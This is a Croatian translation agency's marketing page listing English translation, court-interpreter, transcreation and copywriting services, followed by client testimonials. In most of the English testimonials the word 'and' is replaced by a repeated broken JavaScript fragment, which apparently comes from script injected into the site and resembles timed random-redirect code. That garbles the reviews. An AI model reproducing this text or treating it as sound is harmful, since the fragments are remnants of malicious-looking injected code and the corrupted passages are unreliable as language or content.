PREVODITELJI I SUDSKI TUMAČI ZA ENGLESKI
Prvi put trebate prijevod s engleskog na hrvatski? Ili ste već naručivali prijevode i niste bili zadovoljni njihovom kvalitetom?
Konačno ste na pravome mjestu :-). Opustite se i dopustite da se predstavimo.
Mi smo prevoditeljska agencija specijalizirana za prijevod s engleskog na hrvatski i s hrvatskog na engleski. Svoje usluge prijevoda i sudskog tumača pružamo brojnim klijentima u području prava, financija, marketinga i IT-ja.
Odavno smo odlučili da ne želimo biti prosječni u brojnim jezicima. Svakodnevno radimo na tome da budemo najbolji u engleskom. To znači da čak i sanjamo na engleskom :-).
Svojim klijentima, najčešće u području marketinga, pružamo i usluge prijevoda Google AdWords kampanja, SEO optimizacije i lokalizacije web stranica te copywritinga na hrvatskom.
Javite nam se već danas i povjerite nam svoje dokumente za prijevod s engleskog na hrvatski.
JEZIČNE USLUGE
sve jezične usluge od prijevoda do copywritinga na jednom mjestu
PRIJEVOD S ENGLESKOG
prijevod s engleskog svih vrsta poslovnih dokumenata u području prava, marketinga, financija, IT-ja i inženjerstva
PRIJEVOD NA ENGLESKI
prijevod na engleski svih vrsta poslovnih i osobnih dokumenata poput natječajne dokumentacije, web stranica, životopisa itd.
SUDSKI TUMAČ ZA ENGLESKI
prijevod na engleski i s engleskog s ovjerom sudskog tumača svih službenih i osobnih dokumenata poput rodnih, vjenčanih i smrtnih listova, diploma i svjedodžbi, ugovora, potvrda o nekažnjavanju, rješenja o nasljeđivanju itd.
USMENO PREVOĐENJE
konsekutivno prevođenje na poslovnim sastancima, sudskim raspravama, vjenčanjima itd.
TRANSKREACIJA
specijalizirana usluga prijevoda s engleskog marketinških materijala koja uključuje i prilagodbu marketinških poruka ciljnom jeziku i tržištu
COPYWRITING
usluga copywritinga, prijevod Google AdWords kampanja, SEM, SEO
brojke govore više od riječi
O nama
Prijevod.hr čini tim pomno odabranih vrhunskih prevoditelja, sudskih tumača, redaktora i lektora s dugogodišnjim iskustvom. Svi članovi našeg tima imaju formalno jezično obrazovanje i najmanje pet godina iskustva u specijalističkim područjima u kojima prevode.
Iza nas su milijuni prevedenih riječi i brojna stručna usavršavanja u svim aspektima prevoditeljskog posla. Naši prevoditelji znaju što rade i pišu te su spremni uložiti dodatne napore kako bi vaši prijevodi bili vrhunske kvalitete.
Vjerujemo da prijevodi možda nisu nešto s čime se susrećete često. Nama su oni svakodnevan posao, a u slučaju većine naših prevoditelja, i strast pa se zato možemo lako prilagoditi svim potrebama svojih klijenata. Svoj smo sustav prilagodili dinamičnim zahtjevima današnjeg poslovanja, ali ipak imamo vremena i uživati u onome što radimo.
NAŠI PREVODITELJI
Naši prevoditelji prevode:
- za institucije EU-a,
- za najveće hrvatske tvrtke,
- za nekoliko velikih međunarodnih tvrtki,
- za brojne odvjetničke i javnobilježničke urede.
This company is the absolute BEST company to get translation services! I mean the customer service alone is absolutely incredible. I live in Florida, US andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and I needed 2 documents translated, one was in English andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and the other one in Spanish. Iva andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and her team did the official translation in Croatian for both andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and sent then back to me in time. And then a few weeks later I needed an extra page translated andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and she delivered so fast I was super impressed, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and they did it with a smile. They are always ready to help. You guys are amazing! Keep up the good work! I will be a returning customer for sure.
Hvala Vam na izvrsnom prijevodu. Svaka čast na brzini usluge.
Iva is a consummate professional, accurate, reliable, responsive andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and confident about meeting tight deadlines. Therefore, I highly recommend her services in her language combinations.
Very professional andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and nice. Would definitely work with her again!
Iva was a pleasure to work with. She helped deliver a high quality legal document to our client in a very tight turn around. Great communication skills as well. We’ll definitely be working with her on our future Croatian translation needs!
Great translator, attention to detail andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and delivered before deadline.
Great linguist andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and highly recommended. Thanks, Iva.
It has been a pleasure working with Iva: she is very professional, reliable, andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and knowledgeable. She has always provided excellent response andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}and service. We highly recommend her.